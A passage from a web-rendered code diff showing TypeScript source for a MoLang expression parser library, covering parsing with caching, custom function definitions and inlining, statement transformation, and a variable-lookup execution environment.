				
			||||||
 | 
							return result
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						/**
 | 
				
			||||||
 | 
						 * Execute the given MoLang string `expression`
 | 
				
			||||||
 | 
						 * In case of errors, return 0
 | 
				
			||||||
 | 
						 * @param expression The MoLang string to execute
 | 
				
			||||||
 | 
						 *
 | 
				
			||||||
 | 
						 * @returns The value the MoLang expression corresponds to and 0 if the statement is invalid
 | 
				
			||||||
 | 
						 */
 | 
				
			||||||
 | 
						executeAndCatch(expression: string) {
 | 
				
			||||||
 | 
							try {
 | 
				
			||||||
 | 
								return this.execute(expression)
 | 
				
			||||||
 | 
							} catch {
 | 
				
			||||||
 | 
								return 0
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						/**
 | 
				
			||||||
 | 
						 * Parse the given MoLang string `expression`
 | 
				
			||||||
 | 
						 * @param expression The MoLang string to parse
 | 
				
			||||||
 | 
						 *
 | 
				
			||||||
 | 
						 * @returns An AST that corresponds to the MoLang expression
 | 
				
			||||||
 | 
						 */
 | 
				
			||||||
 | 
						parse(expression: string): IExpression {
 | 
				
			||||||
 | 
							if (this.config.useCache ?? true) {
 | 
				
			||||||
 | 
								const abstractSyntaxTree = this.expressionCache[expression]
 | 
				
			||||||
 | 
								if (abstractSyntaxTree) return abstractSyntaxTree
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							this.parser.init(expression)
 | 
				
			||||||
 | 
							let abstractSyntaxTree = this.parser.parseExpression()
 | 
				
			||||||
 | 
							if ((this.config.useOptimizer ?? true) && abstractSyntaxTree.isStatic())
 | 
				
			||||||
 | 
								abstractSyntaxTree = new StaticExpression(abstractSyntaxTree.eval())
 | 
				
			||||||
 | 
							// console.log(JSON.stringify(abstractSyntaxTree, null, '  '))
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (this.config.useCache ?? true) {
 | 
				
			||||||
 | 
								if (this.totalCacheEntries > (this.config.maxCacheSize || 256))
 | 
				
			||||||
 | 
									this.clearCache()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								this.expressionCache[expression] = abstractSyntaxTree
 | 
				
			||||||
 | 
								this.totalCacheEntries++
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return abstractSyntaxTree
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						resolveStatic(ast: IExpression) {
 | 
				
			||||||
 | 
							ast.walk((expr) => {
 | 
				
			||||||
 | 
								if (expr instanceof StringExpression) return
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								if (expr.isStatic()) return new StaticExpression(expr.eval())
 | 
				
			||||||
 | 
							})
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						getParser() {
 | 
				
			||||||
 | 
							return this.parser
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										93
									
								
								packages/molang/src/custom/function.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										93
									
								
								packages/molang/src/custom/function.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,93 @@
 | 
				
			|||||||
 | 
					import { Parser } from '../parser/parse'
 | 
				
			||||||
 | 
					import { Token } from '../parser/../tokenizer/token'
 | 
				
			||||||
 | 
					import { IPrefixParselet } from '../parser/parselets/prefix'
 | 
				
			||||||
 | 
					import { Expression, IExpression } from '../parser/expression'
 | 
				
			||||||
 | 
					import { StringExpression } from '../parser/expressions/string'
 | 
				
			||||||
 | 
					import { StatementExpression } from '../parser/expressions/statement'
 | 
				
			||||||
 | 
					import { CustomMoLangParser } from './main'
 | 
				
			||||||
 | 
					import { GroupExpression } from '../parser/expressions/group'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class CustomFunctionParselet implements IPrefixParselet {
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, token: Token) {
 | 
				
			||||||
 | 
							parser.consume('LEFT_PARENT')
 | 
				
			||||||
 | 
							if (parser.match('RIGHT_PARENT'))
 | 
				
			||||||
 | 
								throw new Error(`function() called without arguments`)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							let args: string[] = []
 | 
				
			||||||
 | 
							let functionBody: IExpression | undefined
 | 
				
			||||||
 | 
							let functionName: string | undefined
 | 
				
			||||||
 | 
							do {
 | 
				
			||||||
 | 
								const expr = parser.parseExpression()
 | 
				
			||||||
 | 
								if (expr instanceof StringExpression) {
 | 
				
			||||||
 | 
									if (!functionName) functionName = <string>expr.eval()
 | 
				
			||||||
 | 
									else args.push(<string>expr.eval())
 | 
				
			||||||
 | 
								} else if (
 | 
				
			||||||
 | 
									expr instanceof StatementExpression ||
 | 
				
			||||||
 | 
									expr instanceof GroupExpression
 | 
				
			||||||
 | 
								) {
 | 
				
			||||||
 | 
									functionBody = expr
 | 
				
			||||||
 | 
								} else {
 | 
				
			||||||
 | 
									throw new Error(
 | 
				
			||||||
 | 
										`Unexpected expresion: found "${expr.constructor.name}"`
 | 
				
			||||||
 | 
									)
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							} while (parser.match('COMMA'))
 | 
				
			||||||
 | 
							parser.consume('RIGHT_PARENT')
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (!functionName)
 | 
				
			||||||
 | 
								throw new Error(
 | 
				
			||||||
 | 
									`Missing function() name (argument 1); found "${functionName}"`
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
							if (!functionBody)
 | 
				
			||||||
 | 
								throw new Error(
 | 
				
			||||||
 | 
									`Missing function() body (argument ${args.length + 2})`
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return new CustomFunctionExpression(
 | 
				
			||||||
 | 
								(<CustomMoLangParser>parser).functions,
 | 
				
			||||||
 | 
								functionName,
 | 
				
			||||||
 | 
								args,
 | 
				
			||||||
 | 
								functionBody
 | 
				
			||||||
 | 
							)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					class CustomFunctionExpression extends Expression {
 | 
				
			||||||
 | 
						type = 'CustomFunctionExpression'
 | 
				
			||||||
 | 
						constructor(
 | 
				
			||||||
 | 
							functions: Map<string, [string[], string]>,
 | 
				
			||||||
 | 
							functionName: string,
 | 
				
			||||||
 | 
							args: string[],
 | 
				
			||||||
 | 
							protected functionBody: IExpression
 | 
				
			||||||
 | 
						) {
 | 
				
			||||||
 | 
							super()
 | 
				
			||||||
 | 
							functions.set(functionName, [
 | 
				
			||||||
 | 
								args,
 | 
				
			||||||
 | 
								functionBody instanceof GroupExpression
 | 
				
			||||||
 | 
									? functionBody.allExpressions[0].toString()
 | 
				
			||||||
 | 
									: functionBody.toString(),
 | 
				
			||||||
 | 
							])
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get allExpressions() {
 | 
				
			||||||
 | 
							return [this.functionBody]
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setExpressionAt(_: number, expr: IExpression) {
 | 
				
			||||||
 | 
							this.functionBody = expr
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get isReturn() {
 | 
				
			||||||
 | 
							// Scopes inside of functions may use return statements
 | 
				
			||||||
 | 
							return false
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						isStatic() {
 | 
				
			||||||
 | 
							return true
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						eval() {
 | 
				
			||||||
 | 
							return 0
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										229
									
								
								packages/molang/src/custom/main.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										229
									
								
								packages/molang/src/custom/main.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,229 @@
 | 
				
			|||||||
 | 
					import { ExecutionEnvironment } from '../env/env'
 | 
				
			||||||
 | 
					import { IParserConfig } from '../main'
 | 
				
			||||||
 | 
					import { MoLangParser } from '../parser/molang'
 | 
				
			||||||
 | 
					import { Tokenizer } from '../tokenizer/Tokenizer'
 | 
				
			||||||
 | 
					import { CustomFunctionParselet } from './function'
 | 
				
			||||||
 | 
					import { MoLang } from '../MoLang'
 | 
				
			||||||
 | 
					import { StatementExpression } from '../parser/expressions/statement'
 | 
				
			||||||
 | 
					import { transformStatement } from './transformStatement'
 | 
				
			||||||
 | 
					import { NameExpression } from '../parser/expressions/name'
 | 
				
			||||||
 | 
					import { ReturnExpression } from '../parser/expressions/return'
 | 
				
			||||||
 | 
					import { GenericOperatorExpression } from '../parser/expressions/genericOperator'
 | 
				
			||||||
 | 
					import { TernaryExpression } from '../parser/expressions/ternary'
 | 
				
			||||||
 | 
					import { IExpression } from '../parser/expression'
 | 
				
			||||||
 | 
					import { VoidExpression } from '../parser/expressions/void'
 | 
				
			||||||
 | 
					import { GroupExpression } from '../parser/expressions/group'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class CustomMoLangParser extends MoLangParser {
 | 
				
			||||||
 | 
						public readonly functions = new Map<string, [string[], string]>()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						constructor(config: Partial<IParserConfig>) {
 | 
				
			||||||
 | 
							super(config)
 | 
				
			||||||
 | 
							this.registerPrefix('FUNCTION', new CustomFunctionParselet())
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						reset() {
 | 
				
			||||||
 | 
							this.functions.clear()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class CustomMoLang {
 | 
				
			||||||
 | 
						protected parser: CustomMoLangParser
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						constructor(env: any) {
 | 
				
			||||||
 | 
							this.parser = new CustomMoLangParser({
 | 
				
			||||||
 | 
								useCache: false,
 | 
				
			||||||
 | 
								useOptimizer: true,
 | 
				
			||||||
 | 
								useAgressiveStaticOptimizer: true,
 | 
				
			||||||
 | 
								keepGroups: true,
 | 
				
			||||||
 | 
								earlyReturnsSkipParsing: false,
 | 
				
			||||||
 | 
								earlyReturnsSkipTokenization: false,
 | 
				
			||||||
 | 
							})
 | 
				
			||||||
 | 
							this.parser.setExecutionEnvironment(
 | 
				
			||||||
 | 
								new ExecutionEnvironment(this.parser, env)
 | 
				
			||||||
 | 
							)
 | 
				
			||||||
 | 
							this.parser.setTokenizer(new Tokenizer(new Set(['function'])))
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get functions() {
 | 
				
			||||||
 | 
							return this.parser.functions
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(expression: string) {
 | 
				
			||||||
 | 
							this.parser.init(expression)
 | 
				
			||||||
 | 
							const abstractSyntaxTree = this.parser.parseExpression()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return abstractSyntaxTree
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						transform(source: string) {
 | 
				
			||||||
 | 
							const molang = new MoLang(
 | 
				
			||||||
 | 
								{},
 | 
				
			||||||
 | 
								{
 | 
				
			||||||
 | 
									useCache: false,
 | 
				
			||||||
 | 
									keepGroups: true,
 | 
				
			||||||
 | 
									useOptimizer: true,
 | 
				
			||||||
 | 
									useAgressiveStaticOptimizer: true,
 | 
				
			||||||
 | 
									earlyReturnsSkipParsing: true,
 | 
				
			||||||
 | 
									earlyReturnsSkipTokenization: false,
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							let totalScoped = 0
 | 
				
			||||||
 | 
							let ast = molang.parse(source)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							let isComplexExpression = false
 | 
				
			||||||
 | 
							if (ast instanceof StatementExpression) {
 | 
				
			||||||
 | 
								isComplexExpression = true
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							let containsComplexExpressions = false
 | 
				
			||||||
 | 
							ast = ast.walk((expr: any) => {
 | 
				
			||||||
 | 
								// Only run code on function expressions which start with "f." or "function."
 | 
				
			||||||
 | 
								if (
 | 
				
			||||||
 | 
									expr.type !== 'FunctionExpression' ||
 | 
				
			||||||
 | 
									(!expr.name.name.startsWith?.('f.') &&
 | 
				
			||||||
 | 
										!expr.name.name.startsWith?.('function.'))
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
									return
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								const nameExpr = expr.name
 | 
				
			||||||
 | 
								const functionName = nameExpr.name.replace(/(f|function)\./g, '')
 | 
				
			||||||
 | 
								const argValues = expr.args
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								let [args, functionBody] = this.functions.get(functionName) ?? []
 | 
				
			||||||
 | 
								if (!functionBody || !args) return
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								// Insert argument values
 | 
				
			||||||
 | 
								functionBody = functionBody.replace(
 | 
				
			||||||
 | 
									/(a|arg)\.(\w+)/g,
 | 
				
			||||||
 | 
									(match, prefix, argName) => {
 | 
				
			||||||
 | 
										const val =
 | 
				
			||||||
 | 
											argValues[args!.indexOf(argName)]?.toString() ?? '0'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
										return val.replace(/(t|temp)\./, 'outer_temp.')
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								let funcAst = transformStatement(molang.parse(functionBody))
 | 
				
			||||||
 | 
								if (funcAst instanceof StatementExpression) {
 | 
				
			||||||
 | 
									funcAst = molang.parse(`({${functionBody}}+t.return_value)`)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
									containsComplexExpressions = true
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								const varNameMap = new Map<string, string>()
 | 
				
			||||||
 | 
								funcAst = funcAst.walk((expr) => {
 | 
				
			||||||
 | 
									if (expr instanceof NameExpression) {
 | 
				
			||||||
 | 
										const fullName = expr.toString()
 | 
				
			||||||
 | 
										// Remove "a."/"t."/etc. from var name
 | 
				
			||||||
 | 
										let tmp = fullName.split('.')
 | 
				
			||||||
 | 
										const varType = tmp.shift()
 | 
				
			||||||
 | 
										const varName = tmp.join('.')
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
										if (varType === 't' || varType === 'temp') {
 | 
				
			||||||
 | 
											// Scope temp./t. variables to functions
 | 
				
			||||||
 | 
											let newName = varNameMap.get(fullName)
 | 
				
			||||||
 | 
											if (!newName) {
 | 
				
			||||||
 | 
												newName = `t.__scvar${totalScoped++}`
 | 
				
			||||||
 | 
												varNameMap.set(fullName, newName)
 | 
				
			||||||
 | 
											}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
											expr.setName(newName)
 | 
				
			||||||
 | 
										} else if (varType === 'outer_temp') {
 | 
				
			||||||
 | 
											expr.setName(`t.${varName}`)
 | 
				
			||||||
 | 
										}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
										return undefined
 | 
				
			||||||
 | 
									} else if (expr instanceof ReturnExpression) {
 | 
				
			||||||
 | 
										const nameExpr = new NameExpression(
 | 
				
			||||||
 | 
											molang.getParser().executionEnv,
 | 
				
			||||||
 | 
											't.return_value'
 | 
				
			||||||
 | 
										)
 | 
				
			||||||
 | 
										const returnValExpr = expr.allExpressions[0]
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
										return new GenericOperatorExpression(
 | 
				
			||||||
 | 
											nameExpr,
 | 
				
			||||||
 | 
											returnValExpr,
 | 
				
			||||||
 | 
											'=',
 | 
				
			||||||
 | 
											() => {
 | 
				
			||||||
 | 
												nameExpr.setPointer(returnValExpr.eval())
 | 
				
			||||||
 | 
											}
 | 
				
			||||||
 | 
										)
 | 
				
			||||||
 | 
									} else if (expr instanceof StatementExpression) {
 | 
				
			||||||
 | 
										// Make early returns work correctly by adjusting ternary statements which contain return statements
 | 
				
			||||||
 | 
										const expressions: IExpression[] = []
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
										for (let i = 0; i < expr.allExpressions.length; i++) {
 | 
				
			||||||
 | 
											const currExpr = expr.allExpressions[i]
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
											if (
 | 
				
			||||||
 | 
												currExpr instanceof TernaryExpression &&
 | 
				
			||||||
 | 
												currExpr.hasReturn
 | 
				
			||||||
 | 
											) {
 | 
				
			||||||
 | 
												handleTernary(
 | 
				
			||||||
 | 
													currExpr,
 | 
				
			||||||
 | 
													expr.allExpressions.slice(i + 1)
 | 
				
			||||||
 | 
												)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
												expressions.push(currExpr)
 | 
				
			||||||
 | 
												break
 | 
				
			||||||
 | 
											} else if (currExpr.isReturn) {
 | 
				
			||||||
 | 
												expressions.push(currExpr)
 | 
				
			||||||
 | 
												break
 | 
				
			||||||
 | 
											}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
											expressions.push(currExpr)
 | 
				
			||||||
 | 
										}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
										return new StatementExpression(expressions)
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
								})
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								return funcAst
 | 
				
			||||||
 | 
							})
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							const finalAst = molang.parse(ast.toString())
 | 
				
			||||||
 | 
							molang.resolveStatic(finalAst)
 | 
				
			||||||
 | 
							return !isComplexExpression && containsComplexExpressions
 | 
				
			||||||
 | 
								? `return ${finalAst.toString()};`
 | 
				
			||||||
 | 
								: finalAst.toString()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						reset() {
 | 
				
			||||||
 | 
							this.functions.clear()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					function handleTernary(
 | 
				
			||||||
 | 
						returnTernary: TernaryExpression,
 | 
				
			||||||
 | 
						currentExpressions: IExpression[]
 | 
				
			||||||
 | 
					) {
 | 
				
			||||||
 | 
						// If & else branch end with return statements -> we can omit everything after the ternary
 | 
				
			||||||
 | 
						if (returnTernary.isReturn) return
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						const notReturningBranchIndex = returnTernary.allExpressions[2].isReturn
 | 
				
			||||||
 | 
							? 1
 | 
				
			||||||
 | 
							: 2
 | 
				
			||||||
 | 
						const notReturningBranch =
 | 
				
			||||||
 | 
							returnTernary.allExpressions[notReturningBranchIndex]
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						if (!(notReturningBranch instanceof VoidExpression)) {
 | 
				
			||||||
 | 
							if (
 | 
				
			||||||
 | 
								notReturningBranch instanceof GroupExpression &&
 | 
				
			||||||
 | 
								notReturningBranch.allExpressions[0] instanceof StatementExpression
 | 
				
			||||||
 | 
							) {
 | 
				
			||||||
 | 
								currentExpressions.unshift(...notReturningBranch.allExpressions)
 | 
				
			||||||
 | 
							} else {
 | 
				
			||||||
 | 
								currentExpressions.unshift(notReturningBranch)
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						if (currentExpressions.length > 0)
 | 
				
			||||||
 | 
							returnTernary.setExpressionAt(
 | 
				
			||||||
 | 
								notReturningBranchIndex,
 | 
				
			||||||
 | 
								new GroupExpression(
 | 
				
			||||||
 | 
									new StatementExpression(currentExpressions),
 | 
				
			||||||
 | 
									'{}'
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
							)
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										19
									
								
								packages/molang/src/custom/transformStatement.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										19
									
								
								packages/molang/src/custom/transformStatement.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,19 @@
 | 
				
			|||||||
 | 
					import { IExpression } from '../parser/expression'
 | 
				
			||||||
 | 
					import { GroupExpression } from '../parser/expressions/group'
 | 
				
			||||||
 | 
					import { ReturnExpression } from '../parser/expressions/return'
 | 
				
			||||||
 | 
					import { StatementExpression } from '../parser/expressions/statement'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export function transformStatement(expression: IExpression) {
 | 
				
			||||||
 | 
						if (expression instanceof ReturnExpression)
 | 
				
			||||||
 | 
							return new GroupExpression(expression.allExpressions[0], '()')
 | 
				
			||||||
 | 
						if (!(expression instanceof StatementExpression)) return expression
 | 
				
			||||||
 | 
						if (expression.allExpressions.length > 1) return expression
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						// Only one statement, test whether it is a return statement
 | 
				
			||||||
 | 
						const expr = expression.allExpressions[0]
 | 
				
			||||||
 | 
						if (expr instanceof ReturnExpression) {
 | 
				
			||||||
 | 
							return new GroupExpression(expr.allExpressions[0], '()')
 | 
				
			||||||
 | 
						} else {
 | 
				
			||||||
 | 
							return expression
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										143
									
								
								packages/molang/src/env/env.ts
									
									
									
									
										vendored
									
									
										Normal file
									
								
							
							
						
						
									
										143
									
								
								packages/molang/src/env/env.ts
									
									
									
									
										vendored
									
									
										Normal file
									
								
							@@ -0,0 +1,143 @@
 | 
				
			|||||||
 | 
					import { standardEnv } from './standardEnv'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export type TVariableHandler = (
 | 
				
			||||||
 | 
						variableName: string,
 | 
				
			||||||
 | 
						variables: Record<string, unknown>
 | 
				
			||||||
 | 
					) => unknown
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export interface IEnvConfig {
 | 
				
			||||||
 | 
						useRadians?: boolean
 | 
				
			||||||
 | 
						convertUndefined?: boolean
 | 
				
			||||||
 | 
						variableHandler?: TVariableHandler
 | 
				
			||||||
 | 
						isFlat?: boolean
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class ExecutionEnvironment {
 | 
				
			||||||
 | 
						protected env: Record<string, any>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						constructor(env: Record<string, any>, public readonly config: IEnvConfig) {
 | 
				
			||||||
 | 
							if (!env) throw new Error(`Provided environment must be an object`)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (config.isFlat)
 | 
				
			||||||
 | 
								this.env = Object.assign(
 | 
				
			||||||
 | 
									env,
 | 
				
			||||||
 | 
									standardEnv(config.useRadians ?? false)
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
							else
 | 
				
			||||||
 | 
								this.env = {
 | 
				
			||||||
 | 
									...standardEnv(config.useRadians ?? false),
 | 
				
			||||||
 | 
									...this.flattenEnv(env),
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						updateConfig({
 | 
				
			||||||
 | 
							variableHandler,
 | 
				
			||||||
 | 
							convertUndefined,
 | 
				
			||||||
 | 
							useRadians,
 | 
				
			||||||
 | 
						}: IEnvConfig) {
 | 
				
			||||||
 | 
							if (convertUndefined !== undefined)
 | 
				
			||||||
 | 
								this.config.convertUndefined = convertUndefined
 | 
				
			||||||
 | 
							if (typeof variableHandler === 'function')
 | 
				
			||||||
 | 
								this.config.variableHandler = variableHandler
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (!!this.config.useRadians !== !!useRadians) {
 | 
				
			||||||
 | 
								this.env = Object.assign(this.env, standardEnv(!!useRadians))
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						protected flattenEnv(
 | 
				
			||||||
 | 
							newEnv: Record<string, any>,
 | 
				
			||||||
 | 
							addKey = '',
 | 
				
			||||||
 | 
							current: any = {}
 | 
				
			||||||
 | 
						) {
 | 
				
			||||||
 | 
							for (let key in newEnv) {
 | 
				
			||||||
 | 
								if (key[1] === '.') {
 | 
				
			||||||
 | 
									switch (key[0]) {
 | 
				
			||||||
 | 
										case 'q':
 | 
				
			||||||
 | 
											key = 'query' + key.substring(1, key.length)
 | 
				
			||||||
 | 
											break
 | 
				
			||||||
 | 
										case 't':
 | 
				
			||||||
 | 
											key = 'temp' + key.substring(1, key.length)
 | 
				
			||||||
 | 
											break
 | 
				
			||||||
 | 
										case 'v':
 | 
				
			||||||
 | 
											key = 'variable' + key.substring(1, key.length)
 | 
				
			||||||
 | 
											break
 | 
				
			||||||
 | 
										case 'c':
 | 
				
			||||||
 | 
											key = 'context' + key.substring(1, key.length)
 | 
				
			||||||
 | 
											break
 | 
				
			||||||
 | 
										case 'f':
 | 
				
			||||||
 | 
											key = 'function' + key.substring(1, key.length)
 | 
				
			||||||
 | 
											break
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								if (newEnv[key].__isContext) {
 | 
				
			||||||
 | 
									current[`${addKey}${key}`] = newEnv[key].env
 | 
				
			||||||
 | 
								} else if (
 | 
				
			||||||
 | 
									typeof newEnv[key] === 'object' &&
 | 
				
			||||||
 | 
									!Array.isArray(newEnv[key])
 | 
				
			||||||
 | 
								) {
 | 
				
			||||||
 | 
									this.flattenEnv(newEnv[key], `${addKey}${key}.`, current)
 | 
				
			||||||
 | 
								} else {
 | 
				
			||||||
 | 
									current[`${addKey}${key}`] = newEnv[key]
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return current
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						setAt(lookup: string, value: unknown) {
 | 
				
			||||||
 | 
							if (lookup[1] === '.') {
 | 
				
			||||||
 | 
								switch (lookup[0]) {
 | 
				
			||||||
 | 
									case 'q':
 | 
				
			||||||
 | 
										lookup = 'query' + lookup.substring(1, lookup.length)
 | 
				
			||||||
 | 
										break
 | 
				
			||||||
 | 
									case 't':
 | 
				
			||||||
 | 
										lookup = 'temp' + lookup.substring(1, lookup.length)
 | 
				
			||||||
 | 
										break
 | 
				
			||||||
 | 
									case 'v':
 | 
				
			||||||
 | 
										lookup = 'variable' + lookup.substring(1, lookup.length)
 | 
				
			||||||
 | 
										break
 | 
				
			||||||
 | 
									case 'c':
 | 
				
			||||||
 | 
										lookup = 'context' + lookup.substring(1, lookup.length)
 | 
				
			||||||
 | 
										break
 | 
				
			||||||
 | 
									case 'f':
 | 
				
			||||||
 | 
										lookup = 'function' + lookup.substring(1, lookup.length)
 | 
				
			||||||
 | 
										break
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return (this.env[lookup] = value)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						getFrom(lookup: string) {
 | 
				
			||||||
 | 
							if (lookup[1] === '.') {
 | 
				
			||||||
 | 
								switch (lookup[0]) {
 | 
				
			||||||
 | 
									case 'q':
 | 
				
			||||||
 | 
										lookup = 'query' + lookup.substring(1, lookup.length)
 | 
				
			||||||
 | 
										break
 | 
				
			||||||
 | 
									case 't':
 | 
				
			||||||
 | 
										lookup = 'temp' + lookup.substring(1, lookup.length)
 | 
				
			||||||
 | 
										break
 | 
				
			||||||
 | 
									case 'v':
 | 
				
			||||||
 | 
										lookup = 'variable' + lookup.substring(1, lookup.length)
 | 
				
			||||||
 | 
										break
 | 
				
			||||||
 | 
									case 'c':
 | 
				
			||||||
 | 
										lookup = 'context' + lookup.substring(1, lookup.length)
 | 
				
			||||||
 | 
										break
 | 
				
			||||||
 | 
									case 'f':
 | 
				
			||||||
 | 
										lookup = 'function' + lookup.substring(1, lookup.length)
 | 
				
			||||||
 | 
										break
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							const res =
 | 
				
			||||||
 | 
								this.env[lookup] ?? this.config.variableHandler?.(lookup, this.env)
 | 
				
			||||||
 | 
							return res === undefined && this.config.convertUndefined ? 0 : res
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class Context {
 | 
				
			||||||
 | 
						public readonly __isContext = true
 | 
				
			||||||
 | 
						constructor(public readonly env: any) {}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										86
									
								
								packages/molang/src/env/math.ts
									
									
									
									
										vendored
									
									
										Normal file
									
								
							
							
						
						
									
										86
									
								
								packages/molang/src/env/math.ts
									
									
									
									
										vendored
									
									
										Normal file
									
								
							@@ -0,0 +1,86 @@
 | 
				
			|||||||
